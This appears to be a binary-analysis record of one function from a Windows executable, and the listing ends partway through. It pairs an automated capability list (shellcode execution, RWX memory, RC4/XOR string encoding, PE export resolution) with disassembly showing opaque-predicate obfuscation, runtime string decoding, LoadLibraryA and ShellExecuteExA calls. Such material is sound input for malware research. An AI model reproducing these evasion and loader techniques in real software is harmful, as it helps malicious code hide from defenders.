Function at 0x14000ca2c
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14007b940
sub rsp, rax
mov rax, qword [0x1400cb700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x24]
mov r12d, 0x8ce18c5a
movabs r13, 0x2beb6ad95121aad0
cmp rax, r12
jne 0x14000cb23
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000cb03
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000cb03
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000cb23
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov edi, 0x8ce18c5a
mov ecx, edi
call fcn.140002354
mov rax, qword gs:[0x24]
mov ebx, 0x22ed25ae
mov esi, 0x2afbab8a
cmp rax, r12
jne 0x14000cbf0
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000cbd0
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000cbd0
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000cbf0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
mov r15d, 0xe1f6e62c
cmp rax, r12
jne 0x14000cca0
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000cc80
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000cc80
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000cca0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov ecx, edi
call fcn.14000bfd4
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000cd51
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000cd31
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000cd31
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000cd51
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000ce0a
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000cdea
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000cdea
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ce0a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
lea rdx, [0x1400bffe0]
lea rcx, [rbp + 0x998]
call fcn.140001d18
mov rdx, rax
mov ecx, edi
call fcn.1400057fc
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000ced1
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ceb1
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ceb1
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ced1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000cf8a
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000cf6a
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000cf6a
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000cf8a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov dword [rbp + 0x90], 0x6f9bf311
mov dword [rbp + 0x94], 0xa3256d2c
mov word [rbp + 0x98], 0x83
xor r14d, r14d
mov edi, r14d
lea esi, [r14 + 1]
movabs r15, 0x144bec43e
mov qword [rsp + 0x20], r15
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14001c438
xor al, dil
mov byte [rbp + rdi + 0x90], al
add rdi, rsi
cmp rdi, 9
jb 0x14000cfbb
mov byte [rbp + 0x99], r14b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x24]
cmp rax, r12
mov r15d, 0xe1f6e62c
jne 0x14000d0b3
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000d093
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000d093
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000d0b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000d15d
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000d13d
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000d13d
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000d15d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov dword [rbp + 0x1f0], 0x619ad039
mov dword [rbp + 0x1f4], 0xcdf1a9dc
mov dword [rbp + 0x1f8], 0xbec79d4
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r14
movabs r15, 0x144bec43e
mov qword [rsp + 0x20], r15
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14001c094
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
add rdi, rsi
cmp rdi, 0xc
jb 0x14000d190
mov byte [rbp + 0x1fc], r14b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x24]
cmp rax, r12
mov r15d, 0xe1f6e62c
jne 0x14000d299
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000d279
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000d279
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000d299
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14000c1f0
test eax, eax
jne 0x14000d53b
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400a51a0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14000d3b2
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400a51a0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0x72e58a61
mov word [rbp - 0x6c], Ordinal_41
movabs r15, 0x144bec43e
mov qword [rsp + 0x20], r15
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14001c3c4
xor al, dil
mov byte [rbp + rdi - 0x70], al
add rdi, rsi
cmp rdi, 5
jb 0x14000d326
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], esi
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14001bd1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14000d3bc
movabs r15, 0x144bec43e
mov word [rsp + 0x78], reloc.WLDAP32.dll_Ordinal_30
mov qword [rsp + 0x20], r15
mov r9, rsi
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_30
lea rcx, [rsp + 0x78]
call fcn.14001c26c
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r14b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14000c070
mov rbx, rax
movdqa xmm0, xmmword [0x1400c0c80]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400c0e30]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xd6a5fecb
mov dword [rbp + 0xc1c], 0xeb2f775b
mov dword [rbp + 0xc20], 0x4eca59f4
mov word [rbp + 0xc24], 0x3f
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14001c350
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
add rdi, rsi
cmp rdi, 0x2d
jb 0x14000d43e
mov byte [rbp + 0xc25], r14b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14001d3e4
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14001d5a4
lea rcx, [rbp + 0x9d8]
call fcn.14001cefc
lea rcx, [rbp + 0x9b8]
call fcn.14001cefc
movdqa xmm0, xmmword [0x1400c0cf0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0x60
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14001be4c
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
add rdi, rsi
cmp rdi, 0x11
jb 0x14000d4d7
mov byte [rbp + 0x2b9], r14b
lea rcx, [rbp + 0x11a8]
call fcn.14001cb50
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000d5e5
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000d5c5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000d5c5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000d5e5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000d695
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000d675
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000d675
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000d695
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000d73f
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000d71f
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000d71f
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000d73f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000d7fa
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000d7da
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000d7da
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000d7fa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000d8a4
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000d884
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000d884
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000d8a4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
xor ecx, ecx
call fcn.140083414
mov rbx, rax
mov word [rsp + 0x7c], 0x45
movabs r13, 0x144bec43e
mov qword [rsp + 0x20], r13
mov r9, rsi
xor r8d, r8d
mov dl, 0x45
lea rcx, [rsp + 0x7c]
call fcn.14001c26c
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r14b
mov dword [rbp - 0x60], 0x5ea0be4b
mov word [rbp - 0x5c], 0x5d05
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14001c10c
xor al, dil
mov byte [rbp + rdi - 0x60], al
add rdi, rsi
cmp rdi, 6
jb 0x14000d8f4
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400868f4
mov rax, qword gs:[0x24]
cmp rax, r12
movabs r13, 0x2beb6ad95121aad0
jne 0x14000d9ef
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000d9cf
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000d9cf
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000d9ef
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000da99
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000da79
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000da79
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000da99
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov ecx, 2
call fcn.140083414
mov rbx, rax
mov word [rbp - 0x80], 0x40
movabs r13, 0x144bec43e
mov qword [rsp + 0x20], r13
mov r9, rsi
xor r8d, r8d
mov dl, 0x40
lea rcx, [rbp - 0x80]
call fcn.14001c26c
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov dword [rbp - 0x38], 0x44afc442
mov dword [rbp - 0x34], 0x7b1b2b
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14001c2dc
xor al, dil
mov byte [rbp + rdi - 0x38], al
add rdi, rsi
cmp rdi, 7
jb 0x14000dae4
mov byte [rbp - 0x31], r14b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400868f4
mov rax, qword gs:[0x24]
cmp rax, r12
movabs r13, 0x2beb6ad95121aad0
jne 0x14000dbde
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000dbbe
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000dbbe
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000dbde
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000dc9b
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000dc7b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000dc7b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000dc9b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov ecx, esi
call fcn.140083414
mov rbx, rax
mov word [rbp - 0x7c], 0x40
movabs r15, 0x144bec43e
mov qword [rsp + 0x20], r15
mov r9, rsi
xor r8d, r8d
mov dl, 0x40
lea rcx, [rbp - 0x7c]
call fcn.14001c26c
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x30], 0x44afc442
mov dword [rbp - 0x2c], 0x7b1b2b
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14001c2dc
xor al, dil
mov byte [rbp + rdi - 0x30], al
add rdi, rsi
cmp rdi, 7
jb 0x14000dce3
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400868f4
mov rax, qword gs:[0x24]
cmp rax, r12
mov r15d, 0xe1f6e62c
jne 0x14000ddd9
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ddb9
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ddb9
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ddd9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
mov ebx, 0x22ed25ae
cmp rax, r12
jne 0x14000de98
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000de78
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000de78
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000de98
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0ec0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400c0ca0]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400c0da0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x780ccdf5
mov dword [rbp + 0xd4c], 0x69bdaf25
mov dword [rbp + 0xd50], 0x37a3007
mov byte [rbp + 0xd54], reloc.WS2_32.dll_send
or rax, 0xffffffffffffffff
mov byte [rbp + 0xd55], al
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r14
movabs r13, 0x144bec43e
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14001c1f8
xor al, dil
mov byte [rbp + rdi + 0xd18], al
add rdi, rsi
cmp rdi, 0x3e
jb 0x14000df0c
mov byte [rbp + 0xd56], r14b
lea rcx, [rbp + 0xd18]
call fcn.140001bbc
mov rax, qword gs:[0x24]
cmp rax, r12
movabs r13, 0x2beb6ad95121aad0
jne 0x14000e007
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000dfe7
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000dfe7
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e007
